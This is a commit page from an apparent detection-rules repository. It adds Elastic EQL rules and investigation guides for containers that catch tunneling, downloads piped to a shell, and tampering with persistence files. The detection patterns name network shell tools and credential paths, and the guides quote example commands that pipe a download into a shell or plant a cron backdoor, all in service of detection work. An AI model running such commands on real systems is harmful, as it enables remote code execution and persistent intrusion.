security-tools/sigma-rules
1
0
Fork 0
Code Issues Pull Requests Actions 3 Packages Projects Releases Wiki Activity

[New/Tuning] Misc. D4C Rules (#5710)

Browse Source 
* [New/Tuning] Misc. D4C Rules

* Added IGs

* ++

* Update rules/integrations/cloud_defend/persistence_suspicious_echo_or_printf_execution.toml

Co-authored-by: Terrance DeJesus <99630311+terrancedejesus@users.noreply.github.com>

* Update rules/integrations/cloud_defend/persistence_suspicious_echo_or_printf_execution.toml

Co-authored-by: Terrance DeJesus <99630311+terrancedejesus@users.noreply.github.com>

* Update rules/integrations/cloud_defend/execution_payload_downloaded_and_piped_to_shell.toml

Co-authored-by: Terrance DeJesus <99630311+terrancedejesus@users.noreply.github.com>

* Apply suggestion from @Aegrah

* Update persistence_modification_of_persistence_relevant_files.toml

---------

Co-authored-by: Terrance DeJesus <99630311+terrancedejesus@users.noreply.github.com>
This commit is contained in:
Ruben Groenewoud
2026-02-12 10:52:16 +01:00
committed by GitHub
parent f306404fe5
commit 64168f62c1
6 changed files with 596 additions and 17 deletions
Download Patch File Download Diff File Expand all files Collapse all files
rules/integrations/cloud_defend/command_and_control_interactive_file_download_from_internet.toml
+2 -11
View File
@@ -4,7 +4,7 @@ integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/02/06"
updated_date = "2026/02/10"
[rule]
author = ["Elastic"]
@@ -84,16 +84,7 @@ process where host.os.type == "linux" and event.type == "start" and event.action
) or
(
(process.name == "wget" or process.args in ("wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget")) and
(
process.args like ("-*O*", "--output-document=*", "--output-file=*") or
/* to address for wget without any flags (storing in CWD), where wget is the process name */
process.args_count == 2
)
) or
/* to address for wget without any flags (storing in CWD), where wget isn't the process name */
(
(process.name != "wget" and process.args in ("wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget")) and
process.args_count in (2, 3)
process.args like ("-*O*", "--output-document=*", "--output-file=*")
)
) and (
process.args like~ "*http*" or
rules/integrations/cloud_defend/command_and_control_tunneling_and_port_forwarding.toml
+107
View File
@@ -0,0 +1,107 @@
[metadata]
creation_date = "2026/02/10"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/02/10"
[rule]
author = ["Elastic"]
description = """
This rule detects the use of tunneling and/or port forwarding tools inside a container. This
could indicate a threat actor is using these tools to communicate with a C2 server, is attempting
to exfiltrate data from the container, or is attempting to pivot within the container network.
"""
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Tunneling and/or Port Forwarding Detected via Defend for Containers"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Tunneling and/or Port Forwarding Detected via Defend for Containers
This detects tunneling or port-forwarding tools launched inside Linux containers, which attackers use to create hidden pathways for command-and-control, data theft, or lateral movement across the container network. A common pattern is running SSH with local/remote/dynamic forwarding or tools like chisel/socat to expose an internal service (e.g., database or kube API) through an external relay, bypassing normal network controls and segmentation.
### Possible investigation steps
- Identify the owning workload (pod/deployment/cronjob), image tag, and recent rollout or configuration changes to determine whether the tunnel/forwarding behavior is expected for that service.
- Review the full executed command line, environment variables, and process ancestry to confirm what local/remote addresses and ports are being bridged and whether execution originated from an interactive session or startup script.
- Enumerate active listeners and established connections from the container/node at the time of the alert to find externally reachable forwards, unexpected egress destinations, and any traffic to known C2 or relay infrastructure.
- Correlate container network telemetry with DNS queries and outbound proxy usage to detect protocol tunneling patterns (e.g., long-lived sessions, high-entropy subdomains, unusual ports) and identify the initial ingress path.
- Check for follow-on actions in the container and cluster (new binaries dropped, modified entrypoints, created secrets/serviceaccounts, or lateral access attempts) that would indicate persistence or pivoting beyond simple debugging.
### False positive analysis
- A developer or SRE launches `ssh` with `-L`/`-R`/`-D` options from inside a container during troubleshooting to temporarily reach an internal service (e.g., database or API) from their workstation through the container network.
- A containerized service legitimately embeds proxying/forwarding behavior (e.g., `socat`, `3proxy`, `frps`, or `proxychains`) to expose or bridge ports as part of its normal runtime configuration, causing expected long-lived listeners and relayed connections that match tunnel/forwarding patterns.
### Response and remediation
- Isolate the affected pod/container by scaling the workload to zero or cordoning/quarantining the node and applying a deny-all egress policy to stop the active tunnel/forward while preserving artifacts for collection.
- Terminate the tunneling process (e.g., ssh with -L/-R/-D, socat TCP4-LISTEN, chisel client/server, ngrok) and remove any dropped binaries or modified entrypoints/startup scripts that re-launch the forwarder.
- Capture and review the running command line, parent process chain, active listeners, and established connections to identify exposed internal services and block the destination IPs/domains/ports used by the tunnel at the network edge and cluster egress controls.
- Rotate potentially exposed credentials (Kubernetes service account tokens, cloud/API keys, database passwords) and validate RBAC/service account usage for unauthorized access originating from the affected workload.
- Rebuild and redeploy from a known-good image, pin image digests, and add admission controls to block images containing tunneling utilities or starting processes with port-forwarding arguments unless explicitly approved.
- Escalate to incident response immediately if the tunnel connects to external infrastructure, forwards access to sensitive services (e.g., kube-apiserver, etcd, databases), or similar tunneling behavior appears in multiple pods/namespaces."""
references = [
"https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware",
]
risk_score = 47
rule_id = "9d94d61b-9476-41ff-a8d3-3d24b4bb8158"
severity = "medium"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Command and Control",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where event.type == "start" and event.action == "exec" and (
(
// Tunneling and/or Port Forwarding via process args
(process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
// gost
(process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
// ssh
(process.name == "ssh" and (process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and
not (process.args == "chmod" or process.args like "*rungencmd*"))) or
// ssh Tunneling and/or Port Forwarding via SSH option
(process.name == "ssh" and process.args == "-o" and process.args like~(
"*ProxyCommand*", "*LocalForward*", "*RemoteForward*", "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
)) or
// sshuttle
(process.name == "sshuttle" and process.args in ("-r", "--remote", "-l", "--listen")) or
// earthworm
(process.args == "-s" and process.args == "-d" and process.args == "rssocks") or
// socat
(process.name == "socat" and process.args : ("TCP4-LISTEN:*", "SOCKS*")) or
// chisel
(process.name : "chisel*" and process.args in ("client", "server")) or
// iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok
(process.name in ("iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng", "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", "proxychains"))
)
) and container.id like "?*"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1572"
name = "Protocol Tunneling"
reference = "https://attack.mitre.org/techniques/T1572/"
[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
rules/integrations/cloud_defend/defense_evasion_interactive_process_execution_from_suspicious_directory.toml
+9 -6
View File
@@ -4,7 +4,7 @@ integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/02/06"
updated_date = "2026/02/10"
[rule]
author = ["Elastic"]
@@ -18,13 +18,13 @@ index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Suspicious Interactive Process Execution Detected via Defend for Containers"
name = "Suspicious Process Execution Detected via Defend for Containers"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Suspicious Interactive Process Execution Detected via Defend for Containers
### Investigating Suspicious Process Execution Detected via Defend for Containers
This alert flags an interactive program launched inside a container from transient or low-trust locations such as tmpfs-backed or runtime directories, common staging points for hands-on misuse, data theft, or persistence that avoids the image filesystem. A frequent pattern is an attacker gaining a shell via kubectl exec, fetching a static reverse shell or tunneling tool into /dev/shm or /tmp, and running it interactively to pivot or siphon data. Such behavior signals live operator control and attempts to evade forensics and policy controls.
@@ -63,9 +63,12 @@ tags = [
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where event.type == "start" and event.action == "exec" and process.interactive == true and
process.executable like (
"/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*", "/mnt/*", "/media/*", "/boot/*"
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
process.executable like (
"/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*", "/mnt/*", "/media/*", "/boot/*"
) or
// Hidden process execution
process.name like ".*"
) and container.id like "?*"
'''
rules/integrations/cloud_defend/execution_payload_downloaded_and_piped_to_shell.toml
+115
View File
@@ -0,0 +1,115 @@
[metadata]
creation_date = "2026/02/10"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/02/10"
[rule]
author = ["Elastic"]
description = """
This rule detects when a payload is downloaded and piped to a shell inside a running container. This
could indicate a threat actor downloaded a payload and executed it using a shell without the payload
being stored on the filesystem.
"""
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Payload Execution via Shell Pipe Detected by Defend for Containers"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Payload Execution via Shell Pipe Detected by Defend for Containers
This rule detects an interactive session in a running Linux container where a downloader process is immediately followed by a shell execution, consistent with fetching code and executing it without writing a file. This matters because piping remote content directly into a shell enables fast, stealthy execution and can bypass filesystem-based controls and forensics. Attackers commonly run patterns like `curl http://host/payload.sh | sh` or `wget -qO- http://host/bootstrap | bash` during initial foothold or lateral movement inside containers.
### Possible investigation steps
- Capture the full interactive command line and session context (TTY/user, working directory, parent chain) to determine whether the shell received stdin from the downloader and what was executed.
- Identify the remote URL/host contacted and pivot on outbound network telemetry (DNS/HTTP/SNI/IP) to confirm download success, reputation, and whether the endpoint has been used by other workloads.
- Enumerate follow-on processes spawned by the shell within the next few minutes (e.g., package installs, compilers, crypto-miners, persistence tooling) to assess impact and scope of execution.
- Check for container breakout or host interaction indicators by reviewing new mounts, access to the Docker/CRI socket, privileged namespace usage, and any writes to host paths from within the container.
- Preserve volatile artifacts by exporting the container filesystem and collecting in-memory/runtime evidence (environment variables, loaded binaries, cron/systemd/user profiles) before the workload is recycled.
### False positive analysis
- An administrator or developer may use an interactive exec session to troubleshoot or apply a quick remediation by running `curl`/`wget` piped into `sh` (to avoid saving a temporary file), so validate the interactive user/TTY, parent process chain, and whether the contacted URL/host is an expected internal source.
- During manual container bootstrap or environment setup, an operator may fetch a short initialization or configuration script via `curl`/`wget` and immediately invoke a shell to run it, so confirm it aligns with recent deployment/change activity and that follow-on process, network, and filesystem behavior matches the intended setup.
### Response and remediation
- Immediately isolate the affected container/pod by blocking egress and terminating any active `kubectl exec`/interactive sessions that launched `curl`/`wget` and then a shell to stop further command execution.
- Preserve evidence before restart by snapshotting the container image/filesystem and collecting running process trees, open network connections, environment variables, and shell history/output associated with the piped execution.
- Eradicate by deleting and redeploying the workload from a known-good image, rotating any secrets and tokens available to the container, and removing any unauthorized binaries, cron jobs, startup scripts, or modified entrypoints created by the shell session.
- Escalate to incident response immediately if the downloaded content contacted unknown/external infrastructure, spawned post-exploitation tooling (e.g., miners, scanners, reverse shells), or showed signs of host interaction such as access to the container runtime socket or host-mounted paths.
- Harden by restricting interactive exec access (RBAC/MFA/just-in-time), enforcing signed/approved images, applying network policies to limit outbound access, and adding runtime controls to block `curl|sh`/`wget|sh` patterns or require allowlisted internal artifact sources."""
references = [
"https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware",
]
risk_score = 47
rule_id = "a750bbcc-863f-41ef-9924-fd8224e23694"
severity = "medium"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Execution",
"Tactic: Command and Control",
"Tactic: Defense Evasion",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
sequence by process.parent.entity_id, container.id with maxspan=5s
[process where event.type == "start" and event.action == "exec" and
process.name in ("curl", "wget") and process.interactive == true]
[process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.interactive == true]
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Execution"
id = "TA0002"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Command and Control"
id = "TA0011"
reference = "https://attack.mitre.org/tactics/TA0011/"
[[rule.threat.technique]]
name = "Application Layer Protocol"
id = "T1071"
reference = "https://attack.mitre.org/techniques/T1071/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Defense Evasion"
id = "TA0005"
reference = "https://attack.mitre.org/tactics/TA0005/"
rules/integrations/cloud_defend/persistence_modification_of_persistence_relevant_files.toml
+202
View File
@@ -0,0 +1,202 @@
[metadata]
creation_date = "2026/02/10"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/02/10"
[rule]
author = ["Elastic"]
description = """
This rule detects attempts from within a Linux container to create or modify files commonly used for
persistence on native Linux systems, including cron jobs, systemd units, sudoers files, and shell
profile configurations. While many of these mechanisms do not provide reliable persistence in typical
containerized workloads, such modifications are unusual and may indicate persistence attempts, privilege
abuse, or preparation for container escape, especially when performed outside normal image build or
package management processes.
"""
from = "now-6m"
index = ["logs-cloud_defend.file*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Modification of Persistence Relevant Files Detected via Defend for Containers"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Modification of Persistence Relevant Files Detected via Defend for Containers
This detection flags a process inside a Linux container creating or modifying files tied to host-style persistence and privilege control, such as cron schedules, systemd units, sudoers, or shell startup profiles. These changes rarely belong in normal container runtime behavior, so they often signal an attacker staging long-lived execution, escalating privileges, or preparing an escape path. A common pattern is dropping a new `/etc/cron.d/*` entry that periodically launches a payload or backconnects.
### Possible investigation steps
- Review the modifying process’s full command line, parent/ancestor chain, effective UID, and container entrypoint to determine whether it aligns with expected runtime behavior or indicates an interactive shell/exploit.
- Pull the before/after contents of the changed file and look for execution hooks (cron command, systemd ExecStart, sudoers NOPASSWD, or shell profile stagers), then extract any referenced binaries, users, paths, or URLs for follow-on hunting.
- Determine whether the container is privileged or has elevated capabilities and sensitive host mounts (e.g., `/etc`, `/var/run/docker.sock`, `/proc`, `/sys`) that would make the change meaningful for host persistence or escape attempts.
- Correlate the modification time with nearby activity from the same container (process spawns, tool downloads, outbound connections, and interactive access such as `kubectl exec`) to reconstruct the sequence and probable entry vector.
- Check for the same change across replicas/nodes and in the image/build pipeline, and if the modification is unapproved, isolate and redeploy from a known-good image while preserving artifacts for analysis.
### False positive analysis
- An application container running as root updates shell startup files (e.g., `/root/.bashrc`, `/etc/profile.d/*`) at runtime to enforce environment variables, PATH changes, or interactive defaults for troubleshooting, triggering a write/open event without any persistence intent.
- A container startup/entrypoint script generates or adjusts cron/systemd-related files (e.g., `/etc/cron.d/*`, `/etc/systemd/system/*.service`) to schedule internal maintenance tasks or align configuration on first boot, causing file creations/renames outside package-manager processes.
### Response and remediation
- Quarantine the affected workload by scaling the deployment to zero or applying a deny-all egress policy, and isolate the node if the container was privileged or had host filesystem mounts that could make the persistence change impact the host.
- Preserve evidence by exporting the modified persistence-related file(s) (e.g., `/etc/cron.d/*`, `/etc/sudoers*`, systemd unit/timer, shell profile) and collecting the writing process binary, command line, environment, and a short window of process and network activity from the container.
- Eradicate by deleting or reverting the unauthorized cron/systemd/sudoers/profile changes, removing any referenced payload binaries/scripts, revoking any newly added users/keys/tokens, and rotating credentials used by the container or mounted into it.
- Recover by redeploying the service from a known-good image and clean configuration (ConfigMaps/Secrets), validating that no persistence files are modified at runtime and that outbound connections and scheduled executions return to expected behavior.
- Escalate to incident response immediately if the change grants passwordless sudo, drops a new systemd unit/timer or cron job that executes a network-capable command, or if the container is privileged/has `/var/run/docker.sock` or host `/etc` mounted, as this may indicate attempted host persistence or escape.
- Harden by enforcing read-only root filesystem and non-root execution, restricting capabilities/privileged mode and sensitive host mounts, and adding policy controls to block writes to `/etc/cron*`, `/etc/sudoers*`, systemd paths, and shell profiles outside the image build pipeline."""
references = [
"https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware",
]
risk_score = 21
rule_id = "f246e70e-5e20-4006-8460-d72b023d6adf"
severity = "low"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Persistence",
"Tactic: Execution",
"Tactic: Privilege Escalation",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
file.path like (
// Cron & Anacron Jobs
"/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*", "/etc/cron.hourly/*", "/etc/cron.daily/*",
"/etc/cron.weekly/*", "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*",
"/var/spool/anacron/*",
// At Job
"/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",
// Sudoers
"/etc/sudoers*"
) or
(
// Systemd Service/Timer
file.path like (
"/etc/systemd/system/*", "/etc/systemd/user/*", "/usr/local/lib/systemd/system/*",
"/lib/systemd/system/*", "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
"/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
"/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
) and
file.extension in ("service", "timer")
) or
(
// Shell Profile Configuration
file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
file.path like ("/home/*/*", "/etc/*", "/root/*") and
file.name in (
"profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc", "csh.login", "config.fish", "ksh.kshrc",
".bashrc", ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", ".zprofile", ".zshrc",
".cshrc", ".login", ".logout", ".kshrc"
)
)
)
) and container.id like "?*" and
not process.name in ("apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk", "pacman", "rpm", "dpkg")
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1543"
name = "Create or Modify System Process"
reference = "https://attack.mitre.org/techniques/T1543/"
[[rule.threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[rule.threat.technique.subtechnique]]
id = "T1053.003"
name = "Cron"
reference = "https://attack.mitre.org/techniques/T1053/003/"
[[rule.threat.technique]]
id = "T1037"
name = "Boot or Logon Initialization Scripts"
reference = "https://attack.mitre.org/techniques/T1037/"
[[rule.threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"
[[rule.threat.technique.subtechnique]]
id = "T1546.004"
name = "Unix Shell Configuration Modification"
reference = "https://attack.mitre.org/techniques/T1546/004/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1543"
name = "Create or Modify System Process"
reference = "https://attack.mitre.org/techniques/T1543/"
[[rule.threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[rule.threat.technique.subtechnique]]
id = "T1053.003"
name = "Cron"
reference = "https://attack.mitre.org/techniques/T1053/003/"
[[rule.threat.technique]]
id = "T1548"
name = "Abuse Elevation Control Mechanism"
reference = "https://attack.mitre.org/techniques/T1548/"
[[rule.threat.technique.subtechnique]]
id = "T1548.003"
name = "Sudo and Sudo Caching"
reference = "https://attack.mitre.org/techniques/T1548/003/"
[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[rule.threat.technique.subtechnique]]
id = "T1053.003"
name = "Cron"
reference = "https://attack.mitre.org/techniques/T1053/003/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
rules/integrations/cloud_defend/persistence_suspicious_echo_or_printf_execution.toml
+161
View File
@@ -0,0 +1,161 @@
[metadata]
creation_date = "2026/02/10"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/02/10"
[rule]
author = ["Elastic"]
description = """
This rule detects the execution of the echo/printf command to write data to potential persistence files, decode base64/32/16 and
hex content or establish connections to a potential C2. The echo/printf commands are used to display a line of text or write data
to a file. Threat actors may abuse the echo/printf commands to write data to files or file descriptors that are executed (by
other processes or services) to establish persistence or escalate privileges.
"""
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Suspicious Echo or Printf Execution Detected via Defend for Containers"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Suspicious Echo or Printf Execution Detected via Defend for Containers
This rule flags interactive shell commands that invoke echo or printf with patterns used to write or stage data into sensitive paths, decode encoded payloads, or reach out via /dev/tcp. Attackers use these lightweight built-ins to avoid dropping tools while creating persistence or privilege escalation by modifying cron, rc.local, sudoers, ld.so preload, or SSH authorized_keys. In a container, a common pattern is execing into a pod and running `sh -c 'printf <base64> | base64 -d > /etc/cron.d/job; chmod +x …'` to implant a scheduled backdoor.
### Possible investigation steps
- Review the full command line, parent/child process tree, and session metadata to determine who initiated the interactive exec and whether it was an expected administrative action.
- Extract any encoded strings or redirected output from the command and safely decode/pretty-print it to identify dropped scripts, keys, cron entries, or additional staging commands.
- Inspect the referenced destination paths (and their symlink targets) for recent modifications, unexpected permissions/ownership changes, and persistence artifacts such as cron jobs, rc.local edits, ld.so preload configs, sudoers changes, or SSH authorized_keys additions.
- Determine whether the write target resides on a mounted volume shared with the host or other pods, and assess blast radius by checking for the same artifact across replicas/namespaces and CI/CD deployment history.
- Correlate around the execution time for follow-on activity such as outbound connections (including /dev/tcp usage), subsequent interpreter launches, or cleanup actions, and contain by isolating/pausing the workload if malicious behavior is confirmed.
### False positive analysis
- An administrator interactively execs into a container during troubleshooting and uses `echo`/`printf` with redirection (and possibly `chmod`) to make a temporary or emergency change in paths like `/etc/profile`, `/etc/update-motd.d`, `/etc/ssh*`, or `~/.ssh/*` to restore access or correct misconfiguration.
- A developer interactively execs into a container to create and run a short diagnostic artifact by using `echo`/`printf` to write into `/tmp` or `/dev/shm`, decode embedded `base64`/hex content, or validate network reachability via `/dev/tcp`, which can resemble staging/persistence behavior.
### Response and remediation
- Isolate the affected pod/container by removing it from service (scale to zero or cordon/deny ingress-egress) and, if needed, pause it to preserve the filesystem state before it can overwrite or delete staged artifacts.
- Capture and preserve evidence by exporting the full shell command string and taking a filesystem snapshot/copy of any touched paths such as `/etc/cron*`, `/etc/rc.local`, `/etc/init.d`, `/etc/ld.so*`, `/etc/sudoers*`, and `~/.ssh/authorized_keys`, plus any files created in `/tmp`, `/var/tmp`, or `/dev/shm`.
- Eradicate persistence by removing unauthorized cron entries, rc.local/init scripts, sudoers/ld.so preload modifications, and injected SSH keys, then rotate any exposed credentials and redeploy the workload from a known-good image rather than “cleaning” the live container.
- Recover safely by rebuilding the image with patched dependencies, rolling out a fresh deployment, and validating that no replicas or shared volumes contain the same dropped scripts/keys or modified configuration files.
- Escalate immediately to incident response if the command decodes payloads (base64/base32/hex), writes into system startup/auth paths, invokes an interpreter via a pipe (e.g., `| sh/python/perl/php`), or uses `/dev/tcp` for outbound connectivity, as these indicate active staging or C2 behavior.
- Harden against recurrence by restricting interactive exec access, enforcing read-only root filesystems and least-privilege mounts, blocking writes to sensitive paths via policy, and adding egress controls to prevent `/dev/tcp`-style callbacks."""
references = [
"https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware",
]
risk_score = 73
rule_id = "d9bfa475-270d-4b07-93cb-b1f49abe13da"
severity = "high"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Persistence",
"Tactic: Execution",
"Tactic: Privilege Escalation",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where event.type == "start" and event.action == "exec" and process.interactive == true and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.args in ("-lc", "-c") and process.args like ("*echo *", "*printf *") and process.args like (
"*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*",
"*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", "*base32 *", "*base16 *", "*/etc/profile*",
"*/dev/shm/*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *",
"*/etc/shadow*", "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
"* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*", "*|*busybox*",
"*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *", "*openssl enc*"
) and container.id like "?*"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1543"
name = "Create or Modify System Process"
reference = "https://attack.mitre.org/techniques/T1543/"
[[rule.threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[rule.threat.technique.subtechnique]]
id = "T1053.003"
name = "Cron"
reference = "https://attack.mitre.org/techniques/T1053/003/"
[[rule.threat.technique]]
id = "T1037"
name = "Boot or Logon Initialization Scripts"
reference = "https://attack.mitre.org/techniques/T1037/"
[[rule.threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"
[[rule.threat.technique.subtechnique]]
id = "T1546.004"
name = "Unix Shell Configuration Modification"
reference = "https://attack.mitre.org/techniques/T1546/004/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1543"
name = "Create or Modify System Process"
reference = "https://attack.mitre.org/techniques/T1543/"
[[rule.threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[rule.threat.technique.subtechnique]]
id = "T1053.003"
name = "Cron"
reference = "https://attack.mitre.org/techniques/T1053/003/"
[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1053"
name = "Scheduled Task/Job"
reference = "https://attack.mitre.org/techniques/T1053/"
[[rule.threat.technique.subtechnique]]
id = "T1053.003"
name = "Cron"
reference = "https://attack.mitre.org/techniques/T1053/003/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"